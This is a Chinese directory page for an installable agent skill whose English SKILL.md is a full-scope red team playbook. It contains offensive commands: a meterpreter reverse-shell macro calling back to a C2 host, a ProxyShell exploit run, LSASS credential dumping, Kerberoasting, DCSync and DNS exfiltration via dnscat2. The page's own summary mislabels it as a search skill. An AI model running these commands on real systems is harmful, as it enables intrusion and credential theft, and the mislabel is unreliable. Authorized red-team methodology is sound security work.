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conducting-full-scope-red-team-engagement进行全面的红队参与

Agent Skill

conducting-full-scope-red-team-engagement 用于查找、检索和筛选相关信息,适合在 Codex、Claude、Cursor、Gemini CLI 中需要根据关键词、任务场景或来源线索快速定位候选结果时使用。可结合来源仓库、安装命令和原始 README 继续核验具体用法。安装前建议确认权限范围、维护状态,以及是否会触发联网、命令执行或文件读写。

总安装

979

周安装

40

GitHub Stars

5,910

下载量

317
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安装说明

本站只整理中文说明和来源信息,不托管安装包,也不代用户安装。

GitHub

来源数

2

许可证

unknown

最后核验

2026-05-01

来源状态

来源可访问

安装方式

通过对话安装

复制提示词发给支持本地命令或 Skills 的 AI 助手,先确认命令和权限,再让它执行。

请帮我安装这个 Agent Skill:conducting-full-scope-red-team-engagement(进行全面的红队参与)
来源仓库:https://github.com/mukul975/anthropic-cybersecurity-skills
仓库路径:skills/conducting-full-scope-red-team-engagement
安装命令:
npx skills add https://github.com/mukul975/anthropic-cybersecurity-skills --skill conducting-full-scope-red-team-engagement
安装前请先检查当前环境是否支持对应 CLI,并向我确认将要执行的命令、安装目录、联网范围和文件读写权限;确认后再执行。

命令行安装

复制命令到本机终端执行。该命令会通过 npx skills 从第三方来源获取 Skill;本站只展示命令,不托管安装包,也不自动执行。

skills.shnpx skills
npx skills add https://github.com/mukul975/anthropic-cybersecurity-skills --skill conducting-full-scope-red-team-engagement

简介

模拟真实世界对手行为,评估组织的检测和响应能力。

  • 覆盖杀伤链所有阶段,包括初始侦察和数据渗出。
  • 优先 stealth、持久性和 APT 级威胁模拟。
  • 安装前需确认权限范围和维护状态,注意是否涉及联网、命令执行或文件读写操作。
  • conducting-full-scope-red-team-engagement 属于研究检索类 Skill,可作为该场景下的辅助能力补充。

SKILL.md

Conducting Full-Scope Red Team Engagement

Overview

A full-scope red team engagement simulates real-world adversary behavior across all phases of the cyber kill chain — from initial reconnaissance through data exfiltration — to evaluate an organization's detection, prevention, and response capabilities. Unlike penetration testing, red team operations prioritize stealth, persistence, and objective-based scenarios that mimic advanced persistent threats (APTs).

When to Use

  • When conducting security assessments that involve conducting full scope red team engagement
  • When following incident response procedures for related security events
  • When performing scheduled security testing or auditing activities
  • When validating security controls through hands-on testing

Prerequisites

  • Written authorization (Rules of Engagement document) signed by executive leadership
  • Defined scope including in-scope/out-of-scope systems, escalation contacts, and emergency stop procedures
  • Threat intelligence on relevant adversary groups (e.g., APT29, FIN7, Lazarus Group)
  • Red team infrastructure: C2 servers, redirectors, phishing domains, payload development environment
  • Legal review confirming compliance with Computer Fraud and Abuse Act (CFAA) and local laws

Engagement Phases

Phase 1: Planning and Threat Modeling

Map the engagement to specific MITRE ATT&CK tactics and techniques based on the threat profile:

Kill Chain PhaseMITRE ATT&CK TacticExample Techniques
ReconnaissanceTA0043T1593 Search Open Websites/Domains, T1589 Gather Victim Identity Info
Resource DevelopmentTA0042T1583.001 Acquire Infrastructure: Domains, T1587.001 Develop Capabilities: Malware
Initial AccessTA0001T1566.001 Spearphishing Attachment, T1078 Valid Accounts
ExecutionTA0002T1059.001 PowerShell, T1204.002 User Execution: Malicious File
PersistenceTA0003T1053.005 Scheduled Task, T1547.001 Registry Run Keys
Privilege EscalationTA0004T1068 Exploitation for Privilege Escalation, T1548.002 UAC Bypass
Defense EvasionTA0005T1055 Process Injection, T1027 Obfuscated Files
Credential AccessTA0006T1003.001 LSASS Memory, T1558.003 Kerberoasting
DiscoveryTA0007T1087 Account Discovery, T1018 Remote System Discovery
Lateral MovementTA0008T1021.002 SMB/Windows Admin Shares, T1550.002 Pass the Hash
CollectionTA0009T1560 Archive Collected Data, T1213 Data from Information Repositories
ExfiltrationTA0010T1041 Exfiltration Over C2 Channel, T1048 Exfiltration Over Alternative Protocol
ImpactTA0040T1486 Data Encrypted for Impact, T1489 Service Stop

Phase 2: Reconnaissance (OSINT)

# Passive DNS enumeration
amass enum -passive -d target.com -o amass_passive.txt

# Certificate transparency log search
python3 -c "
import requests
url = 'https://crt.sh/?q=%.target.com&output=json'
r = requests.get(url)
for cert in r.json():
    print(cert['name_value'])
" | sort -u > subdomains.txt

# LinkedIn employee enumeration
theHarvester -d target.com -b linkedin -l 500 -f harvest_results

# Technology fingerprinting
whatweb -v target.com --log-json=whatweb.json

# Breach data credential search (authorized)
h8mail -t target.com -o h8mail_results.csv

Phase 3: Initial Access

Common initial access vectors for red team engagements:

Spearphishing (T1566.001):

# Generate payload with macro
msfvenom -p windows/x64/meterpreter/reverse_https LHOST=c2.redteam.local LPORT=443 -f vba -o macro.vba

# Set up GoPhish campaign
# Configure SMTP profile, email template with pretexted lure, and landing page
gophish --config config.json

External Service Exploitation (T1190):

# Scan for vulnerable services
nmap -sV -sC --script vuln -p 80,443,8080,8443 target.com -oA vuln_scan

# Exploit known CVE (example: ProxyShell CVE-2021-34473)
python3 proxyshell_exploit.py -t mail.target.com -e attacker@target.com

Phase 4: Post-Exploitation and Lateral Movement

# Situational awareness (T1082, T1016)
whoami /all
systeminfo
ipconfig /all
net group "Domain Admins" /domain
nltest /dclist:target.com

# Credential harvesting from LSASS (T1003.001)
# Using Havoc C2 built-in module
dotnet inline-execute SafetyKatz.exe sekurlsa::logonpasswords

# Kerberoasting (T1558.003)
Rubeus.exe kerberoast /outfile:kerberoast_hashes.txt

# Lateral movement via WMI (T1047)
wmiexec.py domain/user:password@target-dc -c "whoami"

# Lateral movement via PsExec (T1021.002)
psexec.py domain/admin:password@fileserver.target.com

Phase 5: Objective Achievement

Define and pursue specific objectives:

  1. Domain Dominance: Achieve Domain Admin access and DCSync credentials
  2. Data Exfiltration: Locate and exfiltrate crown jewel data (e.g., PII, financial records)
  3. Business Impact Simulation: Demonstrate ransomware deployment capability (without execution)
  4. Physical Access: Badge cloning, tailgating, server room access
# DCSync attack (T1003.006)
secretsdump.py domain/admin:password@dc01.target.com -just-dc-ntlm

# Exfiltration over DNS (T1048.003)
dnscat2 --dns "domain=exfil.redteam.com" --secret=s3cr3t

Phase 6: Reporting and Debrief

The report should include:

  1. Executive Summary: Business impact, risk rating, key findings
  2. Attack Narrative: Timeline of activities with screenshots and evidence
  3. MITRE ATT&CK Mapping: Full heat map of techniques used
  4. Findings: Each finding with CVSS score, evidence, remediation
  5. Detection Gap Analysis: What the SOC detected vs. what was missed
  6. Purple Team Recommendations: Specific detection rules for gaps identified

Metrics and KPIs

MetricDescription
Mean Time to Detect (MTTD)Average time from action to SOC detection
Mean Time to Respond (MTTR)Average time from detection to containment
TTP CoveragePercentage of executed techniques detected
Objective Achievement RatePercentage of defined objectives completed
Dwell TimeTotal time red team maintained access undetected

Tools and Frameworks

  • C2 Frameworks: Havoc, Cobalt Strike, Sliver, Mythic, Brute Ratel C4
  • Reconnaissance: Amass, Recon-ng, theHarvester, SpiderFoot
  • Exploitation: Metasploit, Impacket, CrackMapExec, Rubeus
  • Post-Exploitation: Mimikatz, SharpCollection, BOF.NET
  • Reporting: PlexTrac, Ghostwriter, Serpico

References

适合场景

01

用户想查找某类 Agent Skill 时

02

需要根据任务场景推荐可安装能力包时

03

需要对比不同来源的安装命令和来源信息时

能力概览

能力 1

按任务关键词查找相关 Skills

能力 2

展示可复制的安装命令

能力 3

保留来源站点、仓库和原始说明,方便继续核验

能力 4

展示第三方安全扫描或审计结果

安装后应在对应宿主中按原始 README 的触发条件使用;具体调用方式请以来源页面和 README 为准。

平台分布

Codex

33.19%
按下载量换算105

Claude

31.09%
按下载量换算99

Cursor

18.94%
按下载量换算60

Gemini CLI

10.45%
按下载量换算33

安全审计

Gen Agent Trust Hub

可疑

Socket

未通过

Snyk

未通过

权限和风险

敏感数据

该 Skill 可能接触密钥、Token、环境变量或敏感配置,应进入高风险复核队列,默认不自动发布。

安装前确认

本站仅展示第三方公开信息,不托管安装包,不提供自动安装或运行环境。安装前应自行审查源码、依赖和命令行为。来源安全扫描存在 warning/failed 结果,不能写成本站确认安全。当前只有一个来源,正式发布前建议补源仓库或其他目录站核验。

来源信息

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